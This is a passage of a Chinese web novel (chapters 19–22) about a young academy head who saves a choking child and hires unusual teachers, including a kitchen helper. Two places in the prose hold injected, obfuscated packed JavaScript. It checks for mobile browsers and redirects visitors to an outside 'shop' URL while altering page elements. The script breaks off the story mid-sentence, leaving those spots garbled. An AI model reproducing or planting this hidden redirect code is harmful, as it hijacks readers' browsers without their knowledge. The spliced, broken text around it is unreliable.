可是李大夫脸色毫无波澜,眼神平静,和平时一样凝神静气。 真不愧是能和老头子混在一起的人,就是难说服。林清和含笑望着李大夫,一双凤眼里满是真诚。 “你爹可曾和你说过我的身份?”李大夫怀疑林启春根本没有和他的孩子说过他从前的身份,要不然林清和怎么毫不知情理所当然的上门。 林清和摇摇头,知道你什么身份还不是一样请,这小县城里哪里有你医术精湛的大夫。 不得不说,林清和对学子的未来还是负责的。 “当真没说过?”李大夫脸色微黑,好你个林启春当初说当孩子干爹非不让,现在居然连他的事情也不跟孩子提一嘴,他平时是比较随和但也没随和到这种地步,白瞎了他几十年来的情谊。 当初光都风雨飘摇之际,林启春突然上书辞官回老家开书院,李大夫就觉察好友的不对劲,借口路上奔波,孩子尚小且年弱不易长途跋涉,跟女帝私下求情离开皇宫,果然在路上发现了年幼的白琅月。 不久之后发现一整套明显是孩子制作的活字印刷。李大夫大惊,直接在定江县留下,一年之后更是接来了家人一起在这定居。 林清和继续摇头,李大夫沉下脸色,口气却还是一如既往的平和,“我曾经是御医,专门替宫中贵人诊治,如今也救济穷苦百姓,经常出门义诊,如何浪费时间去上一些连当归都懂的药理知识?” 李大夫并不排斥林清和的想法,相反他认为这个想法很好,可以让更多的人了解医学,拯救生命。 “您不来也没关系,我理解您想要攻克更多疑难杂症的心。”林清和表示理解专业科研人才的愿望。 “您可以推荐几个人来讲讲药草吗?银钱和院里的先生一样,我不会亏待自己人的。”林清和说得信誓旦旦,期盼的视线不离李大夫的双眼。 “几个?”李大夫笑道,“你未免有些太贪心了清和啊?” 得寸进尺,就和他爹一样。 林清和嘿嘿一笑,“还是李大夫明事理,小子在这就先谢过了。” “既然如此,我就推荐小当归去了,正好磨练磨练心性。”李大夫留了个心眼,让他的小弟子出山。 可别小看小当归,不到十岁的年纪便已经熟知药草特性,平时打下手处理病患也特别利索,李大夫他还不想给呢,少一个他都得心疼好久。 林清和的笑意凝固在唇边,什么,小当归,那个在柜台抓药的小药童?学子们能接受? 19. 第 19 章 “这……小当归会不会太小了点,我记得他还没到十岁呢?”林清和为难地说道。 还没满十岁就被自己的师父丢出来磨练,小当归也太苦了点吧? “当归年纪虽小,论基础可却丝毫不输我这药庐里的任何一个大夫。”李大夫眼含笑意,神情得意,“你要是不想要,我这可就没有闲人去你那书院里讲学了。” 林清和在心里唾弃自己一秒钟,马上开口:“要要要,若是您老有空也可以到青山书院讲上一课。” 小当归,我可是替你拒绝过一次了,是你师父不做人把你提出来去书院教药草的,以后要骂就骂你师父吧,骂完了以后可不许再说他了啊。 李大夫朝他摆摆手,“你走吧,臭小子,和你爹一个德行,蹬鼻子上脸。” 李大夫还是没忍住对林清和说出这句话,那双眼睛滴溜溜的转就知道在打什么鬼主意。 “好嘞好嘞,您忙,小当归等这次学子旬休结束就可以来讲学了,我先走了。”林清和心想还是熟人好办事啊。 李大夫和老头子认识那么久不薅点羊毛说不过去啊。 林清和出来的时候看见小当归正忙着给人抓药,不慌不忙,心中有数,手脚麻利。 嗯,这么一看,确实不错,林清和满意的点点头,看来也是神童级的人物。 变故陡然发生,一个店小二抱着个脸色通红小孩冲进药庐内,他身后跟着哭哭啼啼的妇人以及一群来看热闹的百姓。 “大夫大夫,快来孩子被噎住了,快没呼吸了!”店小二嘶吼的声音穿透空气。 小当归闻言,立刻从柜台内跳出来,嘴里快速安排,“除了亲人,其余人都散开,不要逗留在药庐内,你,去喊师父过来,快点!” 被小当归指到的仆人很快就往屋内跑去找李大夫。 “李大夫快来啊,救救我的儿!”那穿金带银的夫人止不住地哭泣,跪坐在自己孩子的面前。 “让我来看看。”小当归走过去冷静地说道。 哭泣的夫人见到来人是一个不足十岁的小药童,哭腔飙升:“让李大夫来,你一个小孩子家家的过来捣什么乱!” 小当归没有走,皱着眉看向不断挣扎试图让自己呼吸的小孩,被东西噎到如果不及时处理,这小孩很快就会没命的。 “刘夫人,这是李大夫的弟子……”店小二满头大汗的扶着那夫人家金尊玉贵的小公子,一边忍不住出言提醒。 “那也不行!”刘夫人厉声喝道,“谁也也想让我儿子没命!” 林清和眼见着那小公子脸色由红慢慢变紫,挣扎的动作也慢慢无力,就知道事情不好了,小孩子被噎住,黄金时间四分钟,过了就很难施救成功。 他顾不得林启春曾经说过的话,直接拨开人群。 林清和上去就把小二推开,半跪在小公子的后面,双手环抱住他,左手握拳,放在肚脐稍上方。另一只手抓住握起的拳头,然后向内上方快速反复冲击腹部【注1】。 “啊!你在做什么!你快点放开我的儿子!”刘夫人尖利的嘶喊,恨不得上手狠狠抓这个胆敢伤害她孩子的男人,但又担心自己会伤到孩子只能跌坐在原地疯癫吼叫。 那是刘家唯一的根,若是出了什么事情,必定叫这小子好看,刘夫人目光怨毒死死盯着林清和。 店小二手足无措站在原地,满脸无措,不知道该不该听刘夫人的话,可看着药庐里的小药童没动过,他于是也不动。 小当归被拒绝诊断时,原本是想站在原地维持秩序等待李大夫的到来,没想到刘夫人不依不饶,林少爷也冲上来添乱。 小当归刚想制止林少爷的行为,但是发现刘小公子的状态有好转,瞬间眼睛噌亮盯着林清和新奇的急救方式。 “咳!”随着林清和的努力冲击,刘小公子咳出了一小粒花生米,脸色也恢复正常了。 刘夫人见状,眼泪又流了出来,不住地喊道:“我的儿啊,娘的心肝宝贝,你终于好了。”伸手过去就搂住孩子在怀里。 小刘公子在刘夫人怀里边咳边哭,好不可怜。 再晚点这小公子就可以直接投胎了,林清和站起身子,抹了把汗,“小当归给诊断诊断。” 小当归上前向刘夫人说道:“夫人,我给小公子把把脉,看看有没有其他状况?” 刘夫人的目光不自觉抬向林清和,双臂仍紧搂着孩子。 “给小当归看看孩子有没有事,以防万一,刘夫人。”林清和一双凤眼天生含笑三分,惹人亲善,此时的语气也十分柔和。 小刘公子也真是可怜刚从生命线上回来,又被自个的亲娘紧紧抱住,想正常呼吸真难。 刘夫人这才放开孩子小心翼翼地让当归给把脉,她的目光仍旧是警惕地看着当归的动作。 林清和也挺关注小刘公子的情况,这可是他亲手救下来的生命。 众人皆是聚精会神盯着小当归的动作,时间仿佛在这一瞬间无限延长,刘夫人的心都要提到嗓子眼了。 “怎么样,小大夫?”刘夫人说话也不敢大声,轻言细语的生怕吓着两个孩子。 李大夫过来时见着的场景就十分有趣了。 一圈人不近不远,眼睛也舍不得眨就围着一个九岁小药童给个六岁红着眼睛哭的小公子把脉,穿着富贵的夫人紧挨着小公子跌坐在其身后,衣衫凌乱,神色关切。 林清和站在小公子的另一侧,旁边还站着一个神情紧张的店小二。 “没事了,开一剂安神汤,这几日饮食要清淡,最好吃一些软和的食物。”小当归收回手,方子张口就来。 得了话的刘夫人立刻热情地向小当归道谢,站起身来从袖袋内拿出诊金,给得足足的,比往常高出一倍不止。 小当归当即拒绝,“我只是最后把了个脉,救了夫人孩子的是林少爷,夫人该感谢他才是。” 李大夫好奇极了,怎么还有人从药庐里抢到病人的,听起来这人还是林清和,他认识了这小子这么多年怎么就不知道他还有这个本事。 围观人群议论纷纷,“林少爷,莫不是青山书院的林院长?” “最近青山书院的家访听说好像……” “读书人还有这本事?” 林清和也不推辞,接过刘夫人的诊金,落落大方地说道:“我接下了,多谢刘夫人慷慨。” 刘夫人笑着点点头,感激的说道:“若是没有你们我儿的小命难保,药庐把脉开药的诊金也应该给的。” 紧接着刘夫人朝众人一福,不好意思地道歉:“刚才我是急昏了头才对你们这样出口,实 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“清和啊,过来,说说看你是怎么救的人?”李大夫拦住想要出药庐的林清和。 李大夫什么心思,不言而喻。 “好说,那是个被噎到的急救措施,至于是从何处来的,我也记不清了,只记得是一本很古怪又很有趣的医书,但是当时我爹让我下场科举,不许我看闲书,也不知道被我扔哪里去了。”林清和笑眯眯地说道。 如何捕获一个医学巨佬,那当然是更新鲜的医学知识啊。 “这样啊。”李大夫的尾音高高扬起,站在他身旁的小当归眼睛也是亮晶晶的,明显很感兴趣的模样。 “那你先说说今天的这个方法叫什么名字,施救范围多大,注意事宜之类。”李大夫先让林清和把现有的吐出来,至于那本医书,林府都在隔壁,哪里能长腿跑了。 后来事实证明,真的能跑,林*医书本人*清和。 “这个方法叫做海姆立克急救法,注意事宜就是不能用手抠口中的异物【注2】。”林清和紧接着又详细地和李大夫和小当归科普了这个急救法法的用法范围。 说得林清和口干舌燥,还被李大夫要求找人上手演示,还要检查他们的动作规不规范,学习成果有效不有效。 真的,不能说太多,一说太多就容易被掏空,掏空也就算了,还容易泄露。林清和教到现在已经没有世俗的欲望了。 临走的时候还被李大夫贴心的嘱咐道:“有空常来看看,不要忘记回去找医书,不来也没关系,我和小当归一样去看你,我们一起探讨医学像今天一样,很有趣。” 林清和一听,脚下的步伐频率明显加快,怎么办,我可怜贫瘠的医学知识在刚才已经被挤光了,现在只能想想,还能不能找到当初刚能抓笔写下来的笔记了。 可恶!为什么穿越大神不能给我一个金手指! 李大夫看着林清和落荒而逃的背影,充满深意地和他的关门弟子说:“过几天你收拾一下,准备去青山书院当先生,教教学子们怎么认草药之类的。” “啊?”小当归一脸懵逼,为什么?他明明在药庐里学得很好,干事也很利索,最重要的是他还没出师啊! 20. 第 20 章 林清和头也不回的往书院去,他真的很怕李大夫又改变主意跑过来拉他去学医,科举已经很要命了,不能够再多加一门医学。 他走至书院小食堂门口,估摸着时间也差不多后厨的事情忙完了,就来到后厨,看着只有几个零星的小帮工在洗刷厨具。 “林院长?”只见其中一个扎着双平髻的少女正停住洗刷的动作,抬头好奇的看向他疑惑出声。 奇怪林院长怎么会来这里,难道是找邱师傅有什么事,希望不是说辞退厨房帮工的事情,这几天林院长都在折腾书院先生和学子,爹娘不是说起码一个月后才会动厨房吗? 胡马头的女儿心里暗暗祈求,爹兼替的武先生已经失去了,希望她的厨房帮工饭碗还能保住。 “怎么只有你们在这里,厨房管事在哪?”林清和问道,眼神随和,“都先去吃饭了吗?” 胡莲莲点点头,不自在地问道:“需要我去叫邱师傅出来吗?”难不成真的是削减人手的事情,要不然林院长怎么会亲自前来。 胡莲莲舍不得厨房帮工的差事,这份工能隔三差五带点肉菜回家吃,虽说她们家是签了六十年的契,不会没活干,但好差事和没油水的差事还是有差别的。 “没事,我自己过去吧,不用麻烦你。”林清和看着胡莲莲还剩下不少的厨具没有清洗完,打算自己进后厨去找邱师傅。 林清和直接穿过胡莲莲她们,进入后厨,发现邱师傅他们正聚在一起吃晚饭,他仔细想想现在的时间是到了该吃晚饭的时候了,毕竟他在药庐里耽搁了一段时间。 林清和正要走过去,邱师傅先发现了他,搁下碗筷就朝他走过来。林清和索性站在原地不动等邱师傅过来这边说。 站在饭桌附近说这件事也不好,人多嘴杂,消息首先透露给学子那边,他还没怎么着,学子就该有怨言,厨房这边也不好做。 “林少爷您怎么过来了,是有什么事吩咐,是最近的三餐不好吗?”邱师傅心里一个咯噔,难道是他私下里贪墨的事情被发现了? 不对啊,院长和先生的三餐他向来是严格按照标准提供的,怎么会被发现,应该是有其他事情来找他,林少爷年纪轻想来心软好糊弄。 邱诚心里百转千回,面上依然对林清和客客气气的。 林清和不知邱诚心里的想法,带着微笑就说明了自己的来意,“不知道邱师傅愿不愿意教学子们做一些在野外就能吃的食物,分辨一些能吃的野草野果等,七天就三节课,每节课大概四十分钟,不会耽误厨房的事情。” 不可能!邱诚的第一反应就是拒绝,他怎么会把自己的厨艺轻易的交给其他人,就算是学子也不行,谁知道教会了学子,他们会不会自己教给自己的亲戚在外面做生意,他倒时候没饭吃怎么办,这绝不可能! 想学厨艺就应该行拜师礼,在他手上为他做个三五年的杂活。 邱诚的眼里闪过轻蔑的光芒,林清和未免太小看他了,他在青山书院十几年是他一个黄毛小子就能轻易使唤得动吗。 “这……恐怕不行,林少爷你也知道,厨艺是我吃饭的家伙,不能轻易教授出去。”邱诚一下子连对林清和的称呼都变了,可见他对林清和的不满。 林清和一下子就注意到了邱诚对他称呼的变化,也想到了古代人对知识和手艺的固守,不轻易教授给旁人,像李大夫那样不吝啬分享自己医术知识的人,才是这个时代少有的人。 “邱师傅你在教导学子的同时也会同时拥有一份先生的工钱,你教多久就会有多久的工钱,而且你只要教会学子们在野外如何做一餐简单能填饱肚子的饭食就可以了。”林清和再次加码,他心里也没有底。 如果邱师傅不打算答应,还有负责另外其他两餐的师傅,他再问问,选择充足,不行他就自己上,他的烧烤技术还是不错的。 邱诚一听,林清和还加大了利益诱惑就知道这件事非他不可,装模做样地说:“林少爷这就客气了,学子们都是读书人哪里能做这些厨房的杂活,况且他们出门在外总是有仆从下人在,何必自己动手。” “林少爷我看就不必折腾教学子们厨艺了,再退一万步说学子们能愿意吗?”邱诚一脸为难的样子,说着说着还教上林清和如何做事情,眼角轻蔑尽是高人一等的傲气。 林少爷看看你还能出多少的法码说动我,如果可以,我也不是不能教。邱诚眼底透出浓浓的贪婪。 林清和嘴角微勾,“邱师傅既然觉得为难就算了,今天也晚了邱师傅继续吃饭去吧,我先回去了。” 说完,林清和转身就走,脸色也黑了下来,这些年他只是在科考读书又不是两耳不闻窗外事,邱师傅那副样子他还是分得清是什么样的,贪婪又看不清。 林清和认为有必要查一下厨房的账本,说不定里面的财务有问题,就算没有问题也不排除其他方面的问题,邱师傅对他一个刚接手的书院的继承人都敢这样糊弄,难保平时欺压厨房里的其他人,况且厨房的大部分人都是雇佣来的。 邱诚看着林清和说走就走半分也不挽留,脸色一下子就黑了,平白在一帮徒弟下人帮工面前丢了脸面,肺都要气炸了,看他不把这件事宣扬出去他就不姓邱! 饭桌上的人都好奇林院长找邱师傅什么事,看着没说两句气氛明显不对,林院长还转身离去,邱师傅转身看过来的脸色也黑得像锅底,顿时撤回目光低下头默默吃饭,也不敢多问,心底下还是好奇居多。 有些大胆的甚至猜测,如果林院长和邱师傅闹掰了,邱师傅也不知道留不留得下来。 胡莲莲手里的杂活收拾完就碰见林清和走出来,神色没什么不对,想着打探点有关于书院小食堂未来发展的消息,就上前问好,“林院长好,事情处理好了,在小食堂吃晚饭吗?” “事情还没解决,晚饭就回府上吃,你呢,平时处理这些杂活时间都这么久吗?”林清和不是那种把心思放在脸上的人,对于胡莲莲的好意询问,他还是保持了平常的从容态度。 “我……我等下……学子们吃完了才吃的。”胡莲莲不好意思的低下头,放在腹上的十指绞得死紧。“其他干杂活的帮工……也是……也是一样的。” 林院长看着很和善,也不知道她把这件事说出来会怎么样,会不会点点头,然后一走了之。 林清和眉头皱起,“为什么现在不进去和邱师傅他们一起吃饭,还要等学子们用晚膳后才去吃,那时候的饭菜都不新鲜了。” 林清和记得书院小食堂的账务还是保持着和之前一样的标准,并没有因为大部分的师生流失而改变用餐标准,更没有因为这些事情而削减雇佣者,克扣厨房雇佣者和帮工的工钱和饭食。 “邱师傅说在他手下之前干杂活的,无论是他徒弟还是其他人都只能最后吃饭。”胡莲莲听着林清和的语气平和,小心翼翼抬起眼快速看了一眼他的表情,又继续小声说道:“其实也不是没有好处,平时有剩的肉菜可以打包回家放井里。” “这种情况维持多久了,你知道吗?”林清和问道,“其他人都知道吗,没有和木管家说过吗?” 木昭伯伯不是那种不关心手下人的人,只要有什么情况和他说一般都会得到解决,为什么厨房的事情木昭伯伯没有处理?难道是眼前的这个女孩在说谎,只为了在他面前得脸面?林清和不排除有这种可能性,他从来不把人性想得太好,也不把人性想得太坏。 “大家都心知肚明,但是……但……”胡莲莲低垂着脑袋,声音渐渐弱下来,“但是大家都想保住这份差事,没人敢反抗邱师傅,也……也没人敢和木管家说这件事,木管家平常一个月才来一次,没人敢说。” “哦,那你为什么敢到我面前说。”林清和莞尔一笑,眼神舒展,“你不怕丢了这份差事吗?” 林清和很好奇,面 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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胡莲莲再三向林清和表示绝对不会说出去,而后兴奋的告别林清和回去准备了。 林清和没有想到书院小食堂里竟然也会有这么多的事情,还需要时间去查明真相,想到他的野外生存课可能夭折,还要一段时间去寻找合适的老师,他就有点头痛。 “咕噜。” 饿了。 林清和捂着自己的肚子想着家里做什么好吃的了,转眼就放弃了思考刚才复杂的问题,抬脚就回家了。 黑漆漆的夜色中浮现出几点昏黄的灯光照得林清和的影子长长一条,不知名的虫鸣悉悉索索。 第二天中午,林清和早早地就通知了先生们在院子里等待今天富有特色的一餐,不用去书院小食堂里吃。 “哥哥你又在打什么主意,最近折腾的学子还不够吗?”林槐夏支着脑袋在桌子上问道,细数着学子们最近增加的趣事,“家访、刑法、武术,女装课业以及医术。” “什么?女装?”胡先生一愣,神情逐渐怀疑人生,“学子们最近在说的这件事情难道是你折腾出来的?你是真不怕学子们罢-课不来进学啊?” 难怪学子们最近对家访的事情都少了很多热情。 “只要他们家里的长辈不死心让学子们科举当官,这青山书院的课,他们是一样逃不了。”林清和微微一笑,温热的嘴唇吐出了令人不寒而栗的话语。 “可这……也……”白相神色为难,“万一……”学子真的罢-课可怎么办,这帮学子的基础本来就不是很好,花样这么多真的可以吗? “没什么不合适的,学子们想当官迟早都是要经历这些事情的,区别只是早一点和晚一点罢了。当官难道不用知道如何防治疾病保障民生,长途奔袭在野外如何生存吗,别说之后的如何让百姓安居乐业就是一个大问题。” 林清和将事实一一摆出来,众人这才发现当官确实是一个复杂的事情,稍有不慎,这官也就当到头了。 “林院长,我来送午饭了。”胡莲莲站在院门口提着一个黑红木漆的食盒,身后还跟着一个和她面容三四分相似的少女。 21. 第 21 章 胡莲莲将饭菜从食盒中利落地摆在广玉树下地大圆桌上,六个人的吃食满满当当摆了一桌,食物的香味氤氲在空气中,尤其是烤兔子的香味特别勾人,混着其他菜式的味道让人口舌生津。 “你先回去吧,下午学子散课前会让人通知你结果的。”林清和对胡莲莲说道,“碗筷之类的也不用你操心,先回去吧。” 胡莲莲忐忑地看了一眼饭桌上还冒着热气的饭菜,顺从地听着林清和的话先带着食盒回去了。 胡宋明看着别开生面的菜式,怀念的说道:“这些菜式还是前些年带着学子们出门游学在路上吃的,看看着兔子考得真不错。” 其余先生纷纷点头,刘野出声道:“已经很久没有看到这么新鲜的野菜汤了,平日里吃的都是收购农户们精心侍弄的菜和家禽,野鸡野兔的吃的也少了。” “我上次吃野兔还是在去年带学子们去往北地那边的书院听黄大家讲学,刚开始我们可兴奋了,后面就有点苦在路上不是吃干粮就是吃烤鸡烤鱼烤兔子,学子们手艺还不好,吃了有些人在路上拉肚子,身体不太好要去路过的镇子上看病,耽误了好一段行程,差点赶不上黄大家的讲学。”白相亦是兴奋地讲述着去年自己的出门经历。 “哈哈哈,你们比不上我了,我去的那次正巧有个学子家里是开酒楼的,他小子私下偷偷学厨艺没被家里发现,倒是在路上让我们发现了,因为他烤兔子的手法太熟练了,哈哈,后面他就一路上教同窗和先生怎么样烤兔子烤鱼之类。”柏季同神思飞扬,语调高低起伏。 林槐夏听得兴致盎然,“看不出来柏先生还学过这一手烧烤的手艺,那岂不是还能教一下学子如何烤兔子,我可以教他们怎么快速射到兔子,出门在外一定饿不死学子们。” “哈哈,小四月也上头了,是吧。”林清和朝她眨眨眼,“我们还些动手拆兔子吃吧,免得冷了就不好吃了。” 那兔子烤得金黄酥脆,油脂焦黄细腻分布在全身,凑近了更是馋得让人流口水,入口细嫩,不需太用力撕咬即可骨肉分离,细嚼两口,满口油香。 “香!好吃!”林清和匆忙咽下赞叹,好久没遇到这么好吃合胃口的烧烤了,上次吃还是和白琅月出门去寺庙的路上偷偷避着人去林子里做的叫花鸡。 盐分恰到好处,不多不少,野菜汤清爽朗口,其他的菜式也各有千秋的美味,林清和他们吃了个肚圆,瘫在椅子上,望着树梢上洁白的广玉兰花。 “没想到小小的一只野兔和随处可见的野菜也能烹饪的如此美味,我们青山书院还是才人辈出啊!”白相出言赞扬,吃饱了浑身懒洋洋的。 “林院长刚才那位厨娘是负责哪一餐的饭食,怎么从来没见过她,印象中也没有哪一餐的手艺对的上这一次的味道?”柏季同饮着饭后清茶悠悠问道。 林清和神秘一笑,“要不你们猜猜是厨房的哪一位师傅?” 林清和的恶趣味又起来了,胡莲莲分明就不是小食堂里负责三餐的师傅,只是干杂活的小工。 众人猜了好一会儿,怎么都猜不对,还是林槐夏从林清和不断上扬的嘴角一语道破,“该不会哪一餐都不是吧,哥哥?” “猜对了,可惜没奖励,哈哈。”林清和笑容可掬,“昨天我原本是想请邱师傅来教导学子做一些简单的野外就能做的菜,结果被拒绝了,出来的时候就被碰上胡莲莲毛遂自荐,所以才有了今天这一出令人惊喜的菜式,可以说胡莲莲大大出乎我的预料。” “怎么样,先生们同意胡莲莲来为学子们上这一门特殊的厨艺课吗?” 林清和的心中还是有点没底先生们会不会同意胡莲莲来书院当这一位厨艺女先生,林槐夏比较特殊,没有经过任何先生的同意,当然先生们也不可能对林槐夏有意见,因为林槐夏生来就是院长的女儿,对书院是具有经营的权力,想怎么对书院都行,来当个先生而已。 但胡莲莲不一样,她没有任何的特殊权利,只是因为林清和有想法开了一门野外生存的科目,她正好撞上了好时机,并精准地抓住了这个难得一见的机会。 林槐夏首先就表示同意,难得有一个女子来书院一起教书,虽然不是传统意义上的教书,但这还是够令她惊喜了。 胡宋明的心思百转千回,他原本是想马上开口拒绝的,但一想到刚才吃的美食,怎么也说不出口拒绝的话,这难道就是传说中的吃人嘴软拿人手短,他难得陷入沉思。 白相的心思相对来说比较简单,想到学子在游学时为一口吃的而发愁的样子就在林槐夏的后面表示同意了,这明明是好事,提前学习了厨艺,在游学或是赴任的时候都可以不用愁没有吃的。 刘野相对来说考虑得比较多,想到青山书院的名声已经恢复了一些,但如果这时来一个女子进书院来教厨艺,这成什么了,名声肯定又陷入谷底,臭了。 柏季同也有同样的忧虑,他们都不能轻易让青山书院好不容易起来的名声又因为女子教学而陷入风波之中。 “这……女子教学……还是厨艺……”刘野先生扣着茶盖,一脸苦涩,“怕是不利于青山书院的名声,再说了有哪家书院教导厨艺。” 短短两句说透了当前青山书院的困境,世人的眼光和言语向来令人心生寒意。 林清和有考虑到这些事情,然而却也很好解决,他谈笑自若开口道:“难道先生们忘记了吗,我们现在建立的可不仅仅是一座普通的书院,而是一个前所未有的的综合性书院,并且这也是做官的一环。” “相信我这会是一个很好的开端,医术上的先生我也找好了,就只等旬休结束学子们重新归来,我们就开始全新的教学模式,先生们也应该写写如何对学子们进行每一堂课。” 先生们顿时沉默了,他们差点忘记了,自从家访开始对学子长辈们许下诺言,就已经没有回头路可以走,如今只能跟着林清和的方向行走,即使心有疑虑,忐忑不安,也要一路下去。 沉默片刻,胡宋明先生开口表示同意,刘野和柏季同两位先生也表示同意。 最后,刘野先生目光沉沉看着林清和说道:“我希望你真的能将青山书院带到一条全新的道路上,看不一样的风景。” “当然。”林清和从容面对,“那我就派人去通知胡莲莲她的这份差事定下了。” 不一会儿,林清和又拉着先生们对即将来临新科目做好排课,力求每个科目的安排合理,此外林清和还另外要求了额外的两节课作为备用,让学子们进行选修,他准备对学子讲述科学的世界。 * 这一回来青山书院,学子们遭受了很多的从未经历过的事情,精神紧绷的过完了这一次的进学生活,忐忑不安地收拾行李回家,不知道回家面对的是怎样的暴风雨。 左丘栾担心的是他没有及时和先生说回家温书的事情,但家访先生又和娘亲碰上了,不知道他们到底聊了什么,先生们家访完回来口风又紧得很,什么具体的话都打探不出来。 他只好带着一肚子愁思回家,面对未知的情况。 秋宜年的心不在家访上,也不在林院长布置的课业上,他现在只想赶紧回秋家村看看娘亲究竟如何,还有没有受到村民明里暗里的欺压,商量未来的生活到底在何处。 齐华清不属于他们任何一种,他来书院念书进学只是兴趣,家里对他也不强求,他大哥已经在江川府中一所颇负盛名的书院中进学,准备考举人了,父母对大哥的期望很高。 只是青山书院现在的骚操作太多了,又是家访又是女子教学做武先生,还有院长布置让人觉得羞耻的课业。齐华清唯一思考的便是他要怎么做才能避开家里人的耳目和家中的姊妹交换一天的身份生活。 他真的很不想被其他人知道他堂堂一个七尺男儿,男扮女装只为课业,说出去都让觉得这是在开玩笑,哪有先生布置这种课业的,分明就是你自己有毛病吧。 怀抱着这种不明的心思,齐华清回到了家中。 齐府上下从齐华清回来的那一刻,奇怪的视线就在他身上不停地扫视,齐华清被看着浑身都不舒服,悄悄对自己身边的小厮说:“你去打听打听我不在家这段时间发生了什么事情,怎么这么奇怪地看着我?” 小厮领命和齐华清分开后就往下人房那边走去。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14133446|149985||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 齐华清原本打算先回自己的院子里休息下,但目前奇怪的情况不容他回去,脚步一转就去他娘亲的院子里打探情况。 无他,林院长的做法太多,他不得不防这个男扮女装的课业有没有通知给齐府。 很快,齐华清来到了他娘亲的院子里,领他进门的侍女一直对他抿着嘴笑,齐华清好奇得不得了,终于按耐不住话头,“你怎么一直对我笑得这么奇怪?” 谁知那侍女笑着说道,“是婢子生性-爱笑,对谁都一样笑,二少爷您多心了。” 齐华清被她的话噎住,眼神里明明白白说着不相信,还想说点什么就被打断了。 “到了,二少爷请进。”生性-爱笑的女婢站在房间门口恭敬地请齐华清进门。 齐华清气得瞪了她一眼,拂袖踏入房间内。 齐家大少奶奶近来心情非常不错,她的大儿子科举小有成功,已经在备考举人。小儿子的先生最近也来府上登门拜访,特地说来了解华清的情况,虽说不是来收徒弟,那也说明华清的资质是很不错的,那不然书院先生怎偏生来他们府上登门拜访呢。 虽然前段时间青山书院的名声不太好,可这关先生什么事呢,只要有先生收下华清,至于书院名声如何,那又怎么样呢,先生还不是一样要对华清尽心尽力的教学,唯有这样才会堕落了先生的教学名声。 书院名声那都是虚的,没有先生哪来的名声。 此刻齐家大少奶奶正哼着不知名的小曲儿刺绣,开心着呢。 “娘,我回来了,最近怎么样?”齐华清的声音一下子就让她放下了手中的刺绣,转身看向他。 “好着呢,好着呢,最近在书院怎么样,有没有听先生的话好好用功读书?”齐家大少奶奶笑意盈盈的询问着自己的小儿子。 瘦了瘦了,看来在书院真是用心念书了,就说华清不是没本事,没天赋,只是平时没努力,用功了明显着,脸颊都瘦了。 看着自家娘亲满眼心疼自己的模样,齐华清顾不上那么多,“娘,我好着呢,平时学业都有听先生的话。先前书院先生说是来家访,娘去了吗?” 齐华清紧张的看着自己的娘亲,一定要去啊,他可不想去问爹,凶。 果然,齐家大少奶奶眉飞眼笑的说道:“去了去了,你爹还亲自喊我过去一块和先生说话了,不止我,你爷爷奶奶都去了。书院先生登门拜访还是头一回,可不得谨慎先,我们家又不是什么书香世家,只是个商户。” “说什么了?”齐华清紧张地问道,他不好奇就奇了怪了,书院里有些学子天天都在说这回事,后来多了女装的课业,两个事情一块说,原本他不在意也变得在意了。 “那说的可多了,说你在书院如何如何表现,日常学业怎么样,哪里做的好,哪里还有待进步,在哪个方面上做某一个官位特别有优势。”说到这,齐母眼睛都要笑没了,“还说最近书院风波不断,但你都没有受影响,这一点处变不惊特别好呢。” “还有其他的吗?”这些都不是重点,齐华清继续问道。 “还有啊,书院最近可能开设新的科目,说是为了教你们如何当官呢,当然了,你们爷爷也跟我们说,不要太放心上以免失望,可为娘这心呐,想想就美着呢。” 齐华清如遭雷击,什么?当官!他根本没这个想法!一瞬间他想到了那张先生们要他做的调查问卷,他在上面写的是当个厨子啊! 该不会,该不会,先生们后面会请厨师来书院教导厨艺,让他当上御厨吧?齐华清的脑洞突破天际,居然也预判了一部分的真相。 “娘,娘,当官有大哥呢,我不行的,不行的。”齐华清满头大汗急着解释。 “哎呦,华清啊,你让娘亲高兴高兴,你先回去该干嘛干嘛,不要在这说些不中听的。”齐母开始赶儿子,这小子回来也不知道说两句好听的。 她就不能想想一门出两个官儿子,她以后能当上诰命夫人吗? 完了,完了,齐华清满脑子的完了,还有一丝清明思考着,他的女装课业该要在这种情况下怎么完成,不得不说也是狠人一个。 22. 第 22 章 夜晚,一点幽黄的灯光在齐府中游走,最后停留在了府中西北角的院子中。 片刻后,院子的某间房亮起灯火,两道影子映在窗户上。 齐希月披着素白的外袍,如云的秀发斜斜挽插一只睡莲簪,神色困倦凝视着眼前深夜到访的来客,“说吧,二哥,你深夜前来有什么要紧的事情?” 齐希月是齐家大少爷小妾生的一个庶女,在齐家存在感不强,小小的龟缩在齐府的一角,齐华清选了好久才选了自己的这位庶妹。 一来这位妹妹在家里活动的范围并不大,也就是说碰见的人会很少。二来,妹妹的好友并不多,不会隔三岔五就有约出门。 “额……哥想问你明天有没有什么特别的活动,要不要出门,见的人多不多?”齐华清不好意思的先问出他最关心的问题。 要是妹妹明天有约要出门就不选她了,看看其他的妹妹,有没有喜欢呆在自己院子里玩的妹妹。 “没有,二哥就直说是什么事吧,夜深了。”齐希月撑着自己的脑袋,眼神发直,显然困得不行了。 “那个……那个……”齐华清对于自己即将说出的话难以启齿,和妹妹交换一天生活,怎么搞啊,怎么能以一副正常的口吻说出才能不被认为是脑子出问题了。 看着齐希月逐渐涣散的神情,齐华清把心一横,闭着眼睛,梗着脖子说道:“我有个先生布置的课业需要你明天帮忙,就是和你互换身份生活一天。” 说完半晌,对面依旧是什么动静都没有,齐华清闭着眼不敢睁开又想睁开,最后还是敌不过时间的煎熬,睁开了,就只见齐希月支着脑袋,闭着眼。 